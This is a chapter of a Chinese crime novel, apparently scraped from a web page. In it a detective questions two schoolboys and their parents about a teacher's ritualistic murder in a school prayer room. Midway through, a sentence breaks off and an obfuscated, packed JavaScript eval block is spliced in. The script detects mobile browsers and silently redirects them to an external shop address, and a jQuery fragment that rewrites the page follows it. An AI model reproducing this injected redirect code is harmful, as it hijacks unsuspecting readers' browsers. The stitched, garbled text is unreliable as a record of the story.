Chapter18TheDevilKillerintheSchool
18.1
当丹尼·沃特对Francisca说：“特纳先生是被魔鬼杀死的。”
他的一双黑漆漆的眼睛直勾勾地看着警探，一错不错，但是神情甚至可以说是平静的。在一个十岁的小学生脸上看见那种平静，可以称得上是诡异——诡异得有点令人毛骨悚然。
丹尼说：“这是神的旨意，神的审判。他有罪。这是神对他的惩罚。”
“……”
警员吉恩惊疑不定地望向Francisca，旁边几个成年人的神情也都微微变了。
原本默不作声地站在一旁的唐卡斯特小学的公关人员听见这句话，匆匆走上前来，似乎想要说什么——
然而Francisca问丹尼：“詹姆斯·特纳犯了什么罪？”
她的神情也十分平静，像是对丹尼那惊人的言论毫不意外。男孩盯着她，嘴角一牵，忽然咯咯笑起来。
“特纳先生是被魔鬼杀死的。”他说，“魔鬼进到了他们的身体里。”
丹尼说到这里，他的母亲终于忍不住了，一把捂住他的嘴：“够了！”
男孩被母亲的动作按得微微后仰了一下，可那双黑漆漆的眼睛仍然死死盯着警探翰普顿。
他伸手拉了一下母亲捂住他的嘴的手指，母亲到底没有对自己的孩子用力，于是丹尼含混的声音还是隔着母亲的手传到了两位警官的耳朵里：
“魔鬼进到了他们的身体里。”他说，“凶手被魔鬼夺取了灵魂——魔鬼拿走了他们的灵魂！”
丹尼的父亲见状，上前一步，挡在了丹尼和他的母亲身前。
“抱歉，警官。”父亲说，语速稍快，“他昨天晚上受到了太大的刺激。他还是个小孩子，小孩子的胡言乱语不能被当真。”
站在一旁的公关人员也马上介入：“探长，你也看到了，学生的状态现在非常不稳定。”
“对，他昨晚一点没睡。”母亲也急急接上，手还捂着男孩的嘴，“我们的家庭医生说，这是惊吓后的应激反应。他现在可能不适合接受问讯了。”
Francisca看着眼前这些成年人，他们的表情很礼貌，但是眼底深处全部都是警惕。成年人们将四年级的学生挡在身后，身体构成一堵坚硬的墙。
Francisca知道，她不再能问出什么来了。她只能略微颔首，说：“好，让孩子好好休息。”
她转身走开，警员吉恩立刻跟上。等他们离活动室远了几步，吉恩才压低声音开口。
“那些人，”她回头看了一眼，成年人们已经重新围成一圈，将丹尼挡在中间，“那个学生，还有他们的家长，还有学校的副校长——他们肯定都知道点什么。”
年轻的警员说着，深深地皱起眉头：“但是他们似乎达成了什么协议，我们看起来没法撬动他们的嘴巴。”
Francisca没有立刻回答，警员吉恩有点苦恼：“现在该怎么办？”
Francisca一边走出学校的红砖楼，一边思考道：“我想，调查进行到现在，我们接下来有两个调查方向。”
“两个调查方向？”
“嗯，”Francisca微微点头：“第一个调查方向，是证人对案发现场的保密行为。”
她说着，自己掰着手指头数了数：“第一，发现案发现场的安保人员玛利亚·杰弗森吞吞吐吐，没有说实话；第二，案发现场的监控录像被人蓄意破坏了；第三，发现案发现场的小学生丹尼应当是在案发现场看到了什么，但是他没有说，或者他不被允许说——我甚至怀疑他在案发现场看到了凶手。”
警员吉恩若有所思：“确实，好像所有人都在刻意地隐瞒什么。”
Francisca走出大楼，走向自己的警车，轻轻摇了摇头：“如果所有人都在蓄意地隐瞒什么，这个方向的调查就很困难。”
“那么，第二个调查方向呢？”
“第二个调查方向就是死者詹姆斯·特纳的‘罪行’。”
Francisca这样说，警员吉恩微微一怔：“Ma’am……”
“什么？”
警员吉恩欲言又止：“你也相信那些传言吗？詹姆斯·特纳的死亡是因为神在惩罚他的罪行？”
Francisca按了一下警车的钥匙，车锁打开，警车的转向灯闪了一下。警探笑了一下。
“我认为是人类杀死了詹姆斯·特纳，不是魔鬼。”她说。
警探打开驾驶座的车门，坐了进去。警员吉恩也坐到了副驾驶上。
Francisca说：“还记得我们之前的讨论吗？我们需要调查死者詹姆斯·特纳的社会关系，寻找凶手杀死他的动机，就得理解为什么凶手将他摆成那个样子放在神像前。”
警员吉恩点点头：“我记得。凶手特意将案发现场选在校园的祈祷室，又将死者摆成忏悔的姿势，让他跪在神像前。男性的器官被割下来，塞在了死者的嘴里。这种犯案手法一定有它的意义，它肯定和凶手的动机紧密相关。”
Francisca微微点头：“我想，这和死者詹姆斯·特纳的‘罪行’息息相关。”
警员吉恩明白：“死者詹姆斯·特纳也许做过什么恶事，或者，别人以为他做过什么恶事，引发了凶手对他的这种惩罚或者复仇。”
“是的。”Francisca说，“小学的副校长在隐瞒，公关人员在隐瞒，学生的家长也在隐瞒——我觉得他们试图避免谈及的，也许就是死者詹姆斯·特纳的‘罪行’。”
Francisca说着，发动了车子。
警员吉恩问道：“我们去哪里？”
“不是有两个学生昨天夜里发现了现场吗？”Francisca说，“丹尼这里问不出来什么，还有另一个男孩，彼得。”
警员吉恩恍然：“对，根据巡警的记录与报告，彼得·戴维斯的家长接走他的时候，留下了他们的地址和联系方式！”
Francisca说：“总得试试。”
警车驶出校门时，天已经彻底亮了。清白的阳光将一切都照得清楚，和那间祷告室里的气氛完全不同。
车子行驶了一段路，离开了唐卡斯特私立小学周边那些富裕的豪宅区，拐进一片更普通的居民区：
彼得·戴维斯家坐落在典型的中产社区。街道不宽，路肩的草坪还算修建得整齐，但里面有些枯黄的野草杂草，谈不上多讲究。
彼得的家在街角的第二栋，是一栋两层的房子，有着标准的浅灰色外墙和白色的窗框。车库外面的车道上则停了一辆灰色的SUV。
Francisca将警车停在房子旁边。走下车时，她看着这栋房子，对警员吉恩说：“这一家人，也许会比之前丹尼·沃特那一家更友好一些。”
警员关上车门，顺着她的目光看过去：“为什么？”
警探将车钥匙塞回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17662456|207072||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
口袋，笑笑：“之前丹尼父亲手上的那支腕表，就够支付这房子的首付了。”
年轻的警员愣了一下，这才回想起来：“唉，没错，那是一块劳力士。那位母亲的丝巾也是来自爱马仕。有钱的人都更难缠一些么？”
“有钱的人并不一定都难缠。”Francisca说，“但是，时时刻刻都戴着名牌logo彰显身份的有钱人，大概是更难缠的那一类。”
两个人说着，走到彼得·戴维斯家的大门前，警探抬手按了按门铃。门开得比预想中快：
来开门的是个三十多岁的女人，棕色的头发随手挽着，眼下有明显的青黑色，像是整晚没怎么睡觉。
Francisca问：“彼得·戴维斯家？”
开门的人点头：“是，是我们。”
Francisca和警员吉恩出示了证件，开门的人立刻明白了：“你们是为了昨晚的事来的吧？请进来。我是彼得的妈妈，卡罗尔。”
她侧身让开，比起丹尼·沃特的家长，她的反应非常坦荡，几乎称得上毫无遮掩。
Francisca走进去，首先闻到了屋子里飘着的咖啡和烤面包的味道。
卡罗尔叫了一声：“克里斯！”
彼得的父亲闻言从厨房走出来，手里还拿着一片吐司。
“这位是警探翰普顿，和警员吉恩。”卡罗尔说，“她们来问昨天彼得的事。”
Francisca说：“你好。”
彼得的父亲赶紧放下吐司，将手在烤箱上面的毛巾上擦了擦：“你好，你好。我是克里斯，彼得的父亲。”
Francisca说：“我们只是来聊几句。”
“当然，当然。请，请坐。”
戴维斯家的客厅不大，但收拾得很有居家的气息，墙上的相框里挂着些普通家庭会有的东西：孩子从小到大的照片，旅行时全家人拍的合影，还有一些圣诞卡片。
Francisca和警员吉恩在沙发的一侧坐下，彼得的两个家长则坐在了客厅另一边的餐椅上。
克里斯有些局促地说：“抱歉，家里有点乱。”
警员吉恩忍不住说：“已经很整齐了。”
这句话让两个人短暂地笑了一下。
卡罗尔说：“彼得在楼上休息。我们本来还在想，要不要主动联系警方。”
卡罗尔说着，抬眼看向楼梯口，脸上有着抑制不住的担忧。
“昨晚学校给我们打电话的时候，”她说，“我还以为彼得是在宿舍和人打架了，或者发烧了……我们真的没想到会是这种事。”
Francisca点点头：“他回家以后怎么样？感觉还好吗？”
卡罗尔和克里斯对视了一眼，有些黯然地摇摇头。
“不是很好。”克里斯说，“他一路上都没怎么说话。回家以后吐了一次，倒是安静洗了澡，但一直睡不着觉。天快亮的时候他睡着了，但睡得不安稳，一直在说梦话。”
Francisca的心微微一动：“他说了什么梦话？”
卡罗尔摇了摇头，表情不太确定：“他好像……在叫特纳先生的名字？我们也不敢叫醒他。”
听到“特纳先生”这个称呼，Francisca的眼睫微微一动。
她抬起眼睛，轻声说：“既然我们说到了被彼得发现的死者，詹姆斯·特纳……”
顿了顿，她直视面前两个人的眼睛：“你们知道詹姆斯·特纳的罪行，对吧？”